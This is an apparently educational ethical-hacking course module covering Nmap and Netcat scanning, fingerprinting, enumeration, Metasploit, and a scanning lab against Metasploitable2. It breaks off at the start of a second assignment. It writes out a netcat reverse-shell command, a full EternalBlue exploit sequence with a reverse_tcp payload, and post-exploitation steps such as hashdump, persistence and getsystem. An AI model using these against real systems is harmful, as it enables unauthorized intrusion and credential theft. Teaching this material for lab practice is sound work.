ISDM (INDEPENDENT SKILL DEVELOPMENT MISSION)

◇ NETWORK SCANNING TECHNIQUES (NMAP, NETCAT)

📌 CHAPTER 1: INTRODUCTION TO NETWORK SCANNING

🔹 1.1 What is Network Scanning?

Network scanning is the process of identifying active devices, open ports, and services running on a network. It is commonly used by:

✓ **Cybersecurity professionals** to detect vulnerabilities.

✓ **Ethical hackers** for penetration testing.

✓ **Network administrators** to ensure network security.

🔹 **Example:** A security analyst scans a corporate network to identify **open ports** that could be exploited by attackers.

🔹 1.2 Importance of Network Scanning

✓ **Identifies unauthorized devices** on a network.

✓ **Detects open ports** that could be exploited.

✓ **Helps in vulnerability assessment** by mapping network services.

✓ **Monitors network activity** to prevent cyber threats.

📌 **Example:**

If a company has **exposed SSH (port 22)** or **HTTP (port 80)** on a

public-facing server, hackers could attempt brute-force attacks or web exploitation.

📌 Chapter 2: Understanding Nmap (Network Mapper)

🔹 2.1 What is Nmap?

Nmap (**Network Mapper**) is a powerful open-source tool used for network discovery, port scanning, and security auditing.

✓ **Used by:** Ethical hackers, security analysts, and IT administrators.
✓ **Detects:** Open ports, running services, and firewall configurations.
✓ **Works on:** Windows, Linux, macOS.

🔹 **Example:** If an attacker wants to find all devices running **FTP (port 21)** on a network, they can use Nmap to scan for FTP services.

🔹 2.2 Basic Nmap Commands

To scan a network or a specific IP, use the following commands:

1. **Check if a host is online:**

```
nmap -sn 192.168.1.1
```

✓ **Purpose:** Determines if a device is active without scanning ports.

2. **Scan for open ports and services:**

```
nmap -sV 192.168.1.1
```

✓ **Purpose:** Identifies running services and their versions.

3. **Scan all devices in a subnet:**

nmap -sn 192.168.1.0/24

✓ **Purpose:** Lists all active devices in the **192.168.1.x** subnet.

🔸 **2.3 Advanced Nmap Scanning Techniques**

🔹 **Scan a target for all open ports:**

nmap -p- 192.168.1.1

✓ **Purpose:** Detects all open TCP ports on a host.

🔹 **Scan a target using aggressive mode (detailed information):**

nmap -A 192.168.1.1

✓ **Purpose:** Reveals OS details, traceroute, and service versions.

🔹 **Scan a target while evading firewalls:**

nmap -D RND:5 192.168.1.1

✓ **Purpose:** Uses **decoy scanning** to avoid detection.

📌 **Example:**
If a company has a **web server on port 80,** but **Nmap detects an open SSH port 22,** it may indicate a misconfiguration or vulnerability.

📌 CHAPTER 3: UNDERSTANDING NETCAT (NC)

🔸 **3.1 What is Netcat?**

Netcat (nc) is a versatile network utility for reading, writing, and listening to network connections.

✓ **Used for:** Port scanning, banner grabbing, and establishing reverse shells.
✓ **Supports:** TCP and UDP protocols.
✓ **Pre-installed on:** Linux, macOS; can be installed on Windows.

- **Example:** A security analyst can use Netcat to **connect to a remote web server** and check its response headers.

- **3.2 Basic Netcat Commands**

- **Check if a port is open:**

```
nc -zv 192.168.1.1 80
```

✓ **Purpose:** Checks if **port 80 (HTTP)** is open.

- **Scan a range of ports:**

```
nc -zv 192.168.1.1 1-1000
```

✓ **Purpose:** Finds open ports in the **1-1000** range.

- **Connect to a service manually (Banner Grabbing):**

```
nc 192.168.1.1 22
```

✓ **Purpose:** Connects to **SSH (port 22)** and reveals service details.

- **3.3 Using Netcat for Reverse Shells**

A reverse shell allows a hacker to gain remote access to a system. This is commonly used in **penetration testing**.

🔹 **Set up a listener on an attacker's machine:**

nc -lvnp 4444

✓ **Purpose:** Listens for incoming connections.

🔹 **Send a reverse shell from a compromised target:**

nc 192.168.1.2 4444 -e /bin/bash

✓ **Purpose:** Connects to the attacker's machine and grants shell access.

📌 **Example:**
If an attacker exploits a vulnerable web server, they can use **Netcat** to gain a **reverse shell** for remote control.

📌 Chapter 4: Case Study – Real-World Network Scanning Incident

🔸 **4.1 Case Study: The Equifax Data Breach (2017)**

🔹 **What happened?**
✓ Hackers exploited an **unpatched Apache Struts vulnerability** to access Equifax servers.
✓ **Sensitive data of 147 million users** was stolen.

🔹 **How Network Scanning Helped Hackers?**
✓ Hackers used **Nmap** to find vulnerable servers running Apache.
✓ They **scanned for outdated software** and **exploited open ports**.

🔹 **Lessons Learned:**

✓ **Always update security patches** to prevent vulnerabilities.

✓ **Restrict open ports** to reduce the attack surface.

✓ **Monitor network scans** to detect unauthorized access.

📌 Chapter 5: Cybersecurity Best Practices for Network Security

🔹 Use Firewalls to Block Unauthorized Scanning:

✓ Configure firewall rules to block unnecessary traffic.

🔹 Monitor Network Traffic for Suspicious Activity:

✓ Use Intrusion Detection Systems (IDS) like Snort or Suricata.

🔹 Limit Open Ports to Reduce Attack Surface:

✓ Close unused services to prevent exploits.

🔹 Regularly Perform Vulnerability Scans:

✓ Use Nmap and Nessus to assess security risks.

📌 **Example:**

A company can use **Nmap** for **internal security auditing** to detect **misconfigured ports** before attackers do.

📌 Chapter 6: Summary & Next Steps

✅ **Key Takeaways**

✓ Network scanning helps detect open ports, services, and vulnerabilities.

✓ Nmap is the most widely used tool for network discovery and port scanning.

✓ Netcat is a powerful tool for banner grabbing, port scanning, and reverse shells.

✓ Cyber attackers use these tools for reconnaissance before launching attacks.

✓ Security teams use network scanning to identify and mitigate risks before exploitation.

📌 **Next Steps:**

- Practice using Nmap and Netcat in a controlled lab environment.
- Learn about firewalls and intrusion detection systems (IDS).
- Explore vulnerability scanning tools like Nessus and OpenVAS.
- Follow cybersecurity news to stay updated on network security threats.

◇ OS Fingerprinting & Banner Grabbing

📌 Chapter 1: Introduction to OS Fingerprinting & Banner Grabbing

🔹 1.1 What is OS Fingerprinting?

OS Fingerprinting is a technique used to determine the **operating system (OS) version** running on a target machine. This helps ethical hackers and penetration testers assess system vulnerabilities and security risks.

🖼️ Why is OS Fingerprinting Important?

✓ Identifies target OS to tailor exploits.
✓ Helps cybersecurity professionals detect unauthorized systems.
✓ Assists security teams in improving network defenses.

📌 Example:

A **penetration tester** scans a company's network and identifies that multiple machines are running an **outdated Windows OS** with known vulnerabilities. This information helps the company **patch their systems** before an attacker exploits them.

🔹 1.2 What is Banner Grabbing?

Banner grabbing is the process of retrieving service banners from open ports. These banners often contain **OS details, software versions, and configuration information**, which can be useful for security assessments.

📌 **Example:**
When you connect to a website or server, the response may include a banner like:

Apache/2.4.41 (Ubuntu) Server at example.com Port 80

This reveals that the target is running **Apache 2.4.41 on Ubuntu**, which can help attackers find security flaws if the version is outdated.

📌 Chapter 2: Active vs. Passive OS Fingerprinting

🔹 2.1 Active OS Fingerprinting

Active fingerprinting involves sending **custom network packets** to a target system and analyzing its response.

✓ More accurate but intrusive.
✓ Can be detected by firewalls and intrusion detection systems (IDS).
✓ Uses tools like Nmap, Xprobe, and Netcat.

📌 **Example:**
A penetration tester uses **Nmap** to scan a target system:

nmap -O 192.168.1.1

This actively probes the system to determine its OS.

🔹 2.2 Passive OS Fingerprinting

Passive fingerprinting **does not interact with the target directly**. Instead, it analyzes network traffic to infer the OS.

✓ **Less likely to be detected.**
✓ **Uses tools like Wireshark and pof.**
✓ **Often used in network monitoring and forensic analysis.**

📌 **Example:**
Using **Wireshark,** a security analyst examines packets and identifies an OS based on TCP/IP signatures.

📌 Chapter 3: Tools for OS Fingerprinting & Banner Grabbing

🔹 3.1 Nmap (Network Mapper)

Nmap is one of the most powerful tools for **OS detection and banner grabbing**.

✓ **Detects OS versions, open ports, and running services.**
✓ **Uses active scanning methods.**

🛠 Example: Detecting OS with Nmap

```
nmap -O 192.168.1.1
```

📌 **Output Example:**

OS details: Linux 4.15 - 5.0

🔹 3.2 Netcat (nc)

Netcat is a simple networking tool that can retrieve banners from open ports.

🛠 Example: Retrieving a Web Server Banner

nc -v 192.168.1.1 80

📌 **Output Example:**

Apache/2.4.41 (Ubuntu)

This confirms that the target is running **Apache 2.4.41 on Ubuntu**.

🔹 **3.3 pof (Passive OS Fingerprinting)**

pof analyzes network traffic to determine OS without actively scanning.

🛠 **Example: Running pof**

pof -i etho

✓ **Useful for stealthy OS detection.**

🔹 **3.4 WhatWeb (Web Banner Grabbing)**

WhatWeb detects technologies used in websites.

🛠 **Example: Scanning a Website**

whatweb example.com

📌 **Output Example:**

[Apache 2.4.41] [PHP 7.3.11] [Ubuntu]

This reveals the **web server, PHP version, and OS**.

📌 Chapter 4: Preventing OS Fingerprinting & Banner Grabbing Attacks

🔸 4.1 Security Measures to Prevent OS Fingerprinting

✓ Disable unnecessary network services.
✓ Configure firewalls to filter fingerprinting scans.
✓ Use intrusion detection systems (IDS) like Snort to monitor scans.

🔸 4.2 Preventing Banner Grabbing Attacks

✓ Disable server banners in configuration files.
✓ Use security tools to mask software versions.

📌 **Example:** Disabling Apache Banner
Edit the Apache configuration file /etc/apache2/apache2.conf and add:

ServerTokens Prod

ServerSignature Off

This prevents Apache from revealing version details.

📌 Chapter 5: Case Study – OS Fingerprinting & Security Risks

🔹 Scenario:

A company runs outdated **Windows Server 2012** with an exposed SSH service.

🔹 **Attack:**

A hacker performs **OS fingerprinting** and finds that the server has known vulnerabilities.

🔹 **Impact:**

✓ **Server exploited using outdated SSH vulnerabilities.**

✓ **Sensitive company data stolen.**

🔹 **Prevention Measures:**

✓ **Regular OS updates and patches.**

✓ **Hiding OS details and server banners.**

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ **OS Fingerprinting** helps identify operating systems based on network responses.

✓ **Banner Grabbing** retrieves software details, often exposing security risks.

✓ **Tools like Nmap, Netcat, and WhatWeb** help in reconnaissance.

✓ **Disabling unnecessary services and updating software** reduces security risks.

◇ Service Enumeration & Vulnerability Identification

📌 Chapter 1: Introduction to Service Enumeration & Vulnerability Identification

🔹 1.1 What is Service Enumeration?

Service enumeration is the process of identifying active services, open ports, and system details on a target network. It is a crucial step in penetration testing, allowing security professionals to gather critical information about a system before launching an attack.

📌 Why is Enumeration Important?

✓ Helps identify potential entry points for attackers.

✓ Provides insights into misconfigured or outdated services.

✓ Assists in detecting unauthorized services running on a system.

📌 Example of Service Enumeration:

✓ A hacker uses **Nmap** to scan a web server and finds that **Port 22 (SSH)** is open, potentially allowing a brute force attack.

🔹 1.2 How Service Enumeration Works

Enumeration involves sending queries to a target system to retrieve information about:

- **Open Ports** – Identifies which ports are accessible. *(Example: Port 80 for web services, Port 443 for HTTPS traffic)*
- **Running Services** – Detects software applications and their versions. *(Example: Apache HTTP Server, MySQL Database)*
- **User Accounts & Group Policies** – Retrieves usernames and

privilege levels.

🔹 **Operating System Details** – Finds the OS type and version to identify vulnerabilities.

📌 **Example of Enumeration in Action:**

✔ A penetration tester runs **Netcat** to check for an open **FTP service (Port 21)** and discovers an outdated version vulnerable to attack.

📌 Chapter 2: Common Service Enumeration Techniques

🔸 2.1 Port Scanning & Banner Grabbing

📍 **What is it?**

Port scanning is used to identify open ports on a system, while banner grabbing retrieves information about running services.

📌 **Tools Used for Port Scanning:**

✔ **Nmap** – The most widely used network scanning tool.
✔ **Netcat** – A command-line tool for banner grabbing.
✔ **Masscan** – A high-speed scanner for large networks.

📌 **Example of Nmap Command for Port Scanning:**

```
nmap -sV -T4 -p 1-65535 <target_IP>
```

✔ -sV → Enables version detection for services.
✔ -T4 → Sets aggressive timing for faster scanning.
✔ -p 1-65535 → Scans all possible ports.

📌 **Example of Netcat for Banner Grabbing:**

```
nc -v <target_IP> 80
```

✓ This command connects to a web server on **Port 80,** retrieving its service details.

🔸 2.2 SNMP Enumeration

📍 What is it?

Simple Network Management Protocol (SNMP) is used for monitoring network devices, but weak configurations can expose critical data.

📌 Tools Used for SNMP Enumeration:

✓ **SNMPwalk** – Extracts detailed SNMP data from devices.
✓ **Onesixtyone** – A fast SNMP scanning tool.

📌 Example of SNMP Enumeration Command:

snmpwalk -v 2c -c public <target_IP>

✓ -v 2c ⟶ Specifies SNMP version.
✓ -c public ⟶ Uses the default community string "public."

📌 Example of SNMP Misconfiguration Exploited:

✓ In **2001, HP printers were found vulnerable** due to SNMP misconfigurations, allowing attackers to retrieve sensitive device details.

🔸 2.3 NetBIOS Enumeration

📍 What is it?

NetBIOS (Network Basic Input/Output System) helps computers communicate in LAN environments but can be exploited to reveal sensitive information.

📌 **Tools Used for NetBIOS Enumeration:**

✓ **NBTscan** – Scans Windows systems for NetBIOS information.

✓ **Enum4linux** – Extracts NetBIOS data from Linux machines.

📌 **Example of NetBIOS Enumeration Command:**

nbtscan <target_IP>

✓ Lists NetBIOS services and potential security loopholes.

📌 **Example of a NetBIOS Attack:**

✓ Attackers can retrieve **Windows usernames** using NetBIOS enumeration and launch a **brute force attack** on login credentials.

📌 CHAPTER 3: UNDERSTANDING VULNERABILITY IDENTIFICATION

🔸 3.1 What is Vulnerability Identification?

Vulnerability identification is the process of detecting security weaknesses in systems, applications, and networks. These vulnerabilities, if exploited, can lead to data breaches, unauthorized access, and system compromise.

📌 **Common Types of Vulnerabilities:**

🔹 **Unpatched Software** – Outdated systems with security loopholes.

🔹 **Weak Authentication Mechanisms** – Poor password policies and missing multi-factor authentication (MFA).

🔹 **Misconfigured Services** – Exposed databases, open file shares, or insecure network protocols.

🔹 **Insecure APIs** – Weak security controls in web applications.

📌 **Example of a Critical Vulnerability:**

✓ The **Heartbleed Bug (2014)** in OpenSSL exposed millions of encrypted communications, allowing attackers to steal sensitive data.

🔸 **3.2 Vulnerability Scanning Tools**

Organizations use specialized tools to detect security flaws in their systems.

📌 **Popular Vulnerability Scanning Tools:**

✓ **Nessus** – A widely used vulnerability assessment tool.

✓ **OpenVAS** – An open-source vulnerability scanner.

✓ **Nikto** – A web server vulnerability scanner.

✓ **Burp Suite** – Used for identifying web application vulnerabilities.

📌 **Example of Nessus Vulnerability Scan Command:**

nessuscli scan list

✓ Lists all active vulnerability scans on a network.

📌 **Example of a Web Vulnerability Scan Using Nikto:**

nikto -h http://targetwebsite.com

✓ Scans a web application for misconfigurations and security flaws.

📌 CHAPTER 4: CASE STUDY – THE EQUIFAX DATA BREACH (2017)

🔹 **What Happened?**

✓ Attackers exploited an **unpatched vulnerability in Apache**

Struts, exposing sensitive data of **147 million people**.
✓ The breach led to **$700 million in fines and legal settlements**.

🔹 **Lessons Learned:**
✓ Regularly update software to fix security vulnerabilities.
✓ Conduct **frequent vulnerability assessments** to detect risks.
✓ Implement strong access control measures to prevent unauthorized access.

📌 Chapter 5: Best Practices for Securing Services & Identifying Vulnerabilities

🔸 5.1 Security Measures for Preventing Enumeration Attacks

✓ Disable unnecessary services and **close unused ports**.
✓ Use **firewalls and intrusion detection systems (IDS)** to monitor network traffic.
✓ Implement **strong authentication mechanisms** to prevent unauthorized access.

🔸 5.2 Vulnerability Management Best Practices

✓ Conduct **regular penetration testing** to identify security weaknesses.
✓ Apply **patches and security updates** immediately after release.
✓ Implement **role-based access control (RBAC)** to restrict system access.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ **Service enumeration** helps attackers identify weaknesses in a system.

✓ Common enumeration techniques include **port scanning, SNMP, and NetBIOS queries**.

✓ **Vulnerability identification** is essential to prevent cyber attacks.

✓ Tools like **Nmap, Nessus, and OpenVAS** assist in identifying security flaws.

✓ Organizations should implement **firewalls, IDS, and access controls** to prevent attacks.

📌 Next Steps:

🔹 **Try hands-on enumeration tools** – Run Nmap, Netcat, and Nikto in a virtual lab.

🔹 **Learn advanced vulnerability assessment** – Explore Metasploit and OWASP ZAP.

🔹 **Stay updated on cybersecurity trends** – Follow MITRE ATT&CK and CVE reports.

◇ Basics of Exploitation: Gaining Initial Access

📌 Chapter 1: Introduction to Exploitation & Initial Access

🔹 1.1 What is Exploitation in Cybersecurity?

Exploitation in cybersecurity refers to the process of taking advantage of security weaknesses (vulnerabilities) in software, networks, or systems to gain unauthorized access. Attackers use various techniques to exploit these vulnerabilities, either for **ethical hacking (penetration testing)** or malicious purposes.

📌 Example:
An ethical hacker exploits a **misconfigured web server** to gain access and demonstrate the security flaw before a real attacker can exploit it.

🔹 1.2 What is Initial Access?

Initial access is the first stage of a cyber attack where an attacker gains an entry point into a target system. This step allows attackers to **establish a foothold** before moving deeper into the system for further exploitation.

📌 Common Methods of Gaining Initial Access:

- **Phishing Attacks** – Trick users into revealing credentials.
- **Brute Force Attacks** – Repeatedly guess login credentials.
- **Exploiting Software Vulnerabilities** – Take advantage of unpatched security flaws.

- **Social Engineering** – Manipulate users into giving access.

📌 Chapter 2: Common Techniques for Gaining Initial Access

🔸 2.1 Phishing Attacks

Phishing is a social engineering attack where attackers send fraudulent emails pretending to be from legitimate sources to steal credentials or install malware.

🔹 How Phishing Works:

1. Attacker sends an email mimicking a trusted source *(e.g., a bank or IT department)*.
2. Victim clicks on a malicious link and enters login credentials.
3. Attacker captures the credentials and gains unauthorized access.

📌 Example:

A phishing attack targets employees by sending fake emails from "IT Support" requesting **password resets,** leading to unauthorized access to company systems.

🛡 Defense Strategies:

✓ Verify sender email addresses before responding.

✓ Use **Multi-Factor Authentication (MFA)** to prevent unauthorized logins.

✓ Train employees to recognize phishing attempts.

🔸 2.2 Brute Force Attacks

A brute force attack is a trial-and-error method where attackers systematically try different username-password combinations until they find the correct credentials.

🔹 **Types of Brute Force Attacks:**

- **Dictionary Attack** – Uses a pre-compiled list of common passwords.
- **Credential Stuffing** – Uses leaked credentials from previous breaches.
- **Hybrid Attack** – Combines dictionary attacks with variations *(e.g., "Password123")*.

📌 **Example:**
An attacker uses the **Hydra tool** to brute-force SSH login credentials and gain access to a company's internal server.

🛡 **Defense Strategies:**
✓ Use strong passwords *(12+ characters, mix of uppercase/lowercase, numbers, symbols)*.
✓ Implement **account lockout policies** after multiple failed login attempts.
✓ Use **CAPTCHA verification** to prevent automated attacks.

🔸 **2.3 Exploiting Software Vulnerabilities**

Hackers take advantage of unpatched software flaws to gain access. These vulnerabilities can exist in **operating systems, web applications, or network services**.

🔹 **Steps in Exploiting a Software Vulnerability:**

1. **Scanning** – Attackers use tools like **Nmap** or **Nessus** to find open ports & services.
2. **Identifying Vulnerabilities** – Check for known exploits using **Exploit-DB** or **Metasploit**.
3. **Executing the Exploit** – Deploy a working exploit to gain system control.

📌 **Example:**
An attacker uses **Metasploit** to exploit the **EternalBlue vulnerability (MS17-010)** to gain access to an unpatched Windows machine.

🛡 **Defense Strategies:**
✓ Regularly update & patch software vulnerabilities.
✓ Use **intrusion detection systems (IDS)** to monitor suspicious activity.
✓ Disable unused services & enforce **least privilege access control**.

🔸 2.4 Social Engineering Attacks

Social engineering involves **manipulating people** into revealing confidential information rather than exploiting software vulnerabilities.

🔹 Common Social Engineering Techniques:

- **Pretexting** – Pretending to be a trusted authority to extract information.
- **Tailgating** – Gaining physical access by following authorized personnel.
- **Impersonation Attacks** – Faking an identity to gain access.

📌 **Example:**
An attacker **calls an IT helpdesk** pretending to be an employee and tricks the support team into resetting their password, gaining unauthorized access.

🛡 **Defense Strategies:**
✓ Train employees to verify **caller identity** before sharing sensitive data.
✓ Implement strict **access control policies** and verification methods.
✓ Limit **publicly available personal information** that attackers can use.

📌 Chapter 3: Case Study – Exploiting a Web Application to Gain Initial Access

🔹 **Scenario:**
A penetration tester is hired to test the security of an e-commerce website.

🔹 **Steps Taken:**

1. **Performed an Nmap scan** to identify open ports and services.
2. **Discovered an outdated WordPress plugin** with a known exploit.
3. **Used SQL Injection** to bypass authentication and gain admin access.
4. **Uploaded a backdoor shell** to maintain access.

📌 **Outcome:**
The security team **patched the vulnerabilities** and implemented **Web Application Firewalls (WAFs)** to prevent future attacks.

📌 Chapter 4: Summary & Next Steps

✅ Key Takeaways

✓ Gaining initial access is the **first stage of exploitation**, allowing attackers to enter a system.

✓ Common attack techniques include **phishing, brute force, software exploitation, and social engineering**.

✓ **Regular updates, strong authentication methods, and employee training** help prevent unauthorized access.

📌 Next Steps:

- **Practice penetration testing techniques** using Metasploit and Burp Suite.
- **Learn about privilege escalation** after gaining initial access.
- **Follow cybersecurity news** for new attack methods and defenses.

◇ Hands-on with Exploit Frameworks (Metasploit)

📌 Chapter 1: Introduction to Metasploit

🔹 1.1 What is Metasploit?

Metasploit is an open-source penetration testing framework used for developing, testing, and executing exploits against target systems. It provides cybersecurity professionals with tools to identify vulnerabilities, exploit them ethically, and secure networks against cyber threats.

✓ **Developed by Rapid7** and widely used in penetration testing.
✓ Offers **pre-built exploits** for various vulnerabilities.
✓ Supports **payload generation, post-exploitation, and vulnerability scanning**.

📌 Example Use Case:
A penetration tester uses Metasploit to exploit an **unpatched Windows SMB vulnerability** (MS17-010) to gain remote access.

🔹 1.2 Why Use Metasploit?

✓ **Automates penetration testing** with easy-to-use exploits.
✓ **Comprehensive vulnerability database** with continuous updates.
✓ **Supports post-exploitation techniques** (privilege escalation, persistence, etc.).
✓ **Integrates with other tools** like Nmap, Wireshark, and John the Ripper.

🖼️ Diagram: Metasploit Framework Workflow

1. **Reconnaissance** – Gather information using tools like Nmap.
2. **Exploit Selection** – Choose a vulnerability to exploit.
3. **Payload Injection** – Deploy a payload to execute commands.
4. **Post-Exploitation** – Maintain access, escalate privileges, etc.
5. **Covering Tracks** – Clean logs to remove traces.

📌 Chapter 2: Installing & Setting Up Metasploit

🔹 2.1 Installing Metasploit on Kali Linux

Metasploit comes pre-installed in **Kali Linux**, but if you need to install it manually, follow these steps:

✓ Step 1: Update Your System

sudo apt update && sudo apt upgrade -y

✓ Step 2: Install Metasploit Framework

sudo apt install metasploit-framework -y

✓ Step 3: Launch Metasploit Console

msfconsole

✓ Step 4: Verify Installation

msfconsole -v

📌 Example Output:

Metasploit Framework Version: 6.x.x

🔹 2.2 Key Components of Metasploit

✓ **Exploit Modules** – Code designed to take advantage of vulnerabilities.

✓ **Payloads** – Malicious code executed on the target system (reverse shell, meterpreter, etc.).

✓ **Auxiliary Modules** – Perform scanning, enumeration, and denial-of-service (DoS) attacks.

✓ **Post-Exploitation Modules** – Used after gaining access for privilege escalation, persistence, etc.

🖼️ **Diagram: Metasploit Framework Components**

Component	Description
Exploits	Code used to breach systems
Payloads	Malicious scripts executed on target
Auxiliary	Scanners, fuzzers, DoS tools
Post-Exploitation	Privilege escalation, persistence

📌 Chapter 3: Hands-on Exploiting with Metasploit

🔸 3.1 Scanning for Vulnerabilities

Metasploit integrates with **Nmap** for target scanning:

✓ **Run Nmap Scan from Metasploit:**

```
msfconsole

msf> db_nmap -sV -p 22,80,443 target.com
```

✓ **Analyze Open Ports & Services:**
Identify potential vulnerabilities based on open ports and outdated services.

🔸 3.2 Exploiting a Target System (Windows SMB Exploit)

📌 **Scenario:** Exploiting a vulnerable Windows machine using **EternalBlue (MS17-010)**

✓ Step 1: Launch Metasploit Console

msfconsole

✓ Step 2: Search for the Exploit

search ms17_010

✓ Step 3: Select the Exploit

use exploit/windows/smb/ms17_010_eternalblue

✓ Step 4: Set Target Options

set RHOSTS <target IP>

set LHOST <your IP>

set PAYLOAD windows/meterpreter/reverse_tcp

✓ Step 5: Execute the Exploit

exploit

📌 **Outcome:**
The exploit executes successfully, and **a Meterpreter shell is opened,** allowing remote control over the target system.

🔸 3.3 Post-Exploitation: Maintaining Access & Privilege Escalation

Once inside the system, post-exploitation techniques can be applied:

✓ **Check System Information**

sysinfo

✓ **List Running Processes**

ps

✓ **Dump Password Hashes**

hashdump

✓ **Enable Persistence** (Maintain Access)

run persistence -h

✓ **Escalate Privileges to Admin**

getsystem

📌 Chapter 4: Defensive Measures Against Metasploit Attacks

🔸 4.1 How to Defend Against Exploits?

✓ **Regular Software Patching** – Update OS and applications to fix vulnerabilities.
✓ **Use Firewalls & IDS** – Detect and block exploit attempts.
✓ **Disable Unused Services** – Close unnecessary open ports.
✓ **Implement Network Segmentation** – Restrict access to critical systems.
✓ **Use Strong Passwords & Multi-Factor Authentication (MFA).**

📌 **Example:**

- **WannaCry ransomware** spread due to unpatched Windows SMB vulnerabilities.
- **Patch management** would have prevented the attack.

📌 Chapter 5: Case Study – The EternalBlue Exploit

🔸 5.1 Overview of the Attack

✓ EternalBlue (MS17-010) was used in the **WannaCry ransomware attack (2017)**.
✓ Targeted **Windows SMBv1 vulnerability** to spread malware across networks.
✓ Affected **hospitals, businesses, and governments worldwide**.

🔹 How Metasploit Was Used:

✓ Exploit written in Metasploit allowed attackers to **gain full remote access**.
✓ Payloads like **Meterpreter** were used for post-exploitation.

🔹 Lessons Learned:

✓ **Keep systems updated** to avoid unpatched exploits.
✓ **Use intrusion detection systems (IDS)** to detect unauthorized activity.
✓ **Restrict SMB access** on sensitive networks.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ Metasploit is a powerful penetration testing framework used for ethical hacking.

✓ It provides exploits, payloads, and post-exploitation tools to test security.

✓ Vulnerability scanning & exploitation help identify security risks.

✓ Defensive strategies like patching, IDS, and network segmentation help mitigate attacks.

📌 Next Steps:

- Practice in a Virtual Lab (Metasploitable, Windows VM, Kali Linux).
- Explore advanced payloads & post-exploitation techniques.
- Join ethical hacking platforms like Hack The Box & TryHackMe.

📌 ASSIGNMENT 1:

☑ SCAN AND IDENTIFY OPEN PORTS & SERVICES ON A SIMULATED TARGET.

📌 Assignment Solution 1: Scan and Identify Open Ports & Services on a Simulated Target

- **Objective:**

This guide will walk you through the step-by-step process of using **Nmap** to scan a simulated target machine (**Metasploitable2** or any virtual machine) and identify open ports and running services.

📌 Step 1: Set Up the Virtual Lab

🔸 1.1 Install Virtualization Software

You need to install a virtual machine software to create a **simulated target** for scanning.

✓ Recommended Options:

- **VirtualBox (Free)** → Download VirtualBox
- **VMware Workstation (Paid/Free for non-commercial use)** → Download VMware

---

🔸 1.2 Download & Install Kali Linux (Attacker Machine)

- Download Kali Linux from https://www.kali.org/get-kali
- Create a **new virtual machine** in VirtualBox/VMware.
- Install Kali Linux and set **2GB RAM, 2 CPU Cores, and 20GB Storage**.

🔸 1.3 Download & Install Metasploitable2 (Target Machine)

- Download Metasploitable2 from https://sourceforge.net/projects/metasploitable/
- Extract the ZIP file and import the VM into VirtualBox/VMware.
- **Start the Metasploitable2 machine** (default credentials: msfadmin/msfadmin).

📌 **Ensure Both Kali Linux & Metasploitable2 are Running on the Same Network:**

1. Go to **VirtualBox → Settings → Network**.
2. Set **"Host-Only Adapter"** for both VMs to allow local communication.

✓ **Check Target Machine's IP Address**:

ifconfig # (Linux)

ip a # (Linux)

ipconfig # (Windows)

Example output: 192.168.56.101 (Metasploitable2's IP)

📌 **Step 2: Perform a Network Scan Using Nmap**

🔸 **2.1 Verify Connectivity to Target Machine**

Before scanning, ensure that Kali Linux can reach the target:

ping 192.168.56.101

✓ If you receive responses, the target is reachable.
✓ If no response, check the network settings.

🔸 **2.2 Conduct a Basic Network Scan with Nmap**

🔹 **Command to Scan Open Ports on a Target:**

nmap 192.168.56.101

✓ This scans the **most common 1000 ports** on the target.

📌 **Example Output:**

Starting Nmap 7.91 (https://nmap.org) at 2024-XX-XX XX:XX

Nmap scan report for 192.168.56.101

Host is up (0.00056s latency).

Not shown: 993 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

✓ This shows that the target has multiple open ports, including FTP (21), SSH (22), HTTP (80), etc.

🔸 **2.3 Scan for All Open Ports (Full Port Scan)**

🔹 **To scan all 65535 TCP ports:**

nmap -p- 192.168.56.101

✓ This ensures no ports are missed.

🔸 **2.4 Detect Running Services & Versions**

🔹 **To identify services and versions on open ports:**

nmap -sV 192.168.56.101

✓ This reveals software details running on each port.

📌 **Example Output:**

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8

23/tcp open telnet

80/tcp open http Apache httpd 2.2.8

✓ **We now know the versions of services running on each port!**

📌 **Step 3: Perform an Aggressive Scan for More Details**

🔹 **To get OS, script scans, and traceroute information:**

nmap -A 192.168.56.101

✓ This helps in identifying vulnerabilities.

📌 **Example Output:**

OS details: Linux 2.6.9 - 2.6.33

Running Apache httpd 2.2.8 (Linux)

✓ **This confirms that the target is running an outdated Linux version, which may have vulnerabilities!**

📌 Step 4: Perform a Stealthy Scan to Evade Firewalls

🔹 Use SYN scan to avoid detection:

nmap -sS 192.168.56.101

✓ This helps in scanning without triggering firewalls.

📌 Example Output:

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

✓ This confirms the same open ports using a more stealthy method.

📌 Step 5: Analyze and Document the Findings

🔸 5.1 Document Open Ports & Services Found

Port	State	Service	Version (If Detected)
21	Open	FTP	vsftpd 2.3.4
22	Open	SSH	OpenSSH 4.7p1
23	Open	Telnet	Unknown
80	Open	HTTP	Apache 2.2.8
139	Open	NetBIOS	Samba
445	Open	SMB	Microsoft-ds

🔸 5.2 Identify Potential Security Risks

✓ **FTP (port 21) is open** → May allow anonymous login.
✓ **SSH (port 22) is open** → Could be vulnerable to brute-force attacks.
✓ **Telnet (port 23) is open** → Telnet sends data in plaintext, making it insecure.
✓ **Apache HTTP Server (port 80) is running an outdated version** → May have known vulnerabilities.

📌 Step 6: Secure the Target Machine (Defensive Measures)

✓ Disable unnecessary open ports that are not needed.
✓ Use firewalls (UFW, IPTables) to block unauthorized access.
✓ Keep software updated to patch vulnerabilities.
✓ Use SSH keys instead of passwords to prevent brute-force attacks.

📌 Step 7: Summary & Next Steps

✅ Key Takeaways

✓ Network scanning helps identify open ports and running services.
✓ Nmap is a powerful tool for detecting vulnerabilities.
✓ Outdated services and unnecessary open ports increase security risks.
✓ Defensive measures like firewalls and software updates improve security.

📌 Next Steps:

- Practice scanning other vulnerable machines (e.g., TryHackMe, Hack The Box).
- Explore vulnerability assessment tools like Nessus & OpenVAS.
- Learn about penetration testing frameworks like Metasploit.

ASSIGNMENT 2:

PERFORM VULNERABILITY ASSESSMENT USING NESSUS OR OPENVAS.

📌 Solution: Assignment 2 – Performing Vulnerability Assessment using Nessus or OpenVAS

🎯 Objective

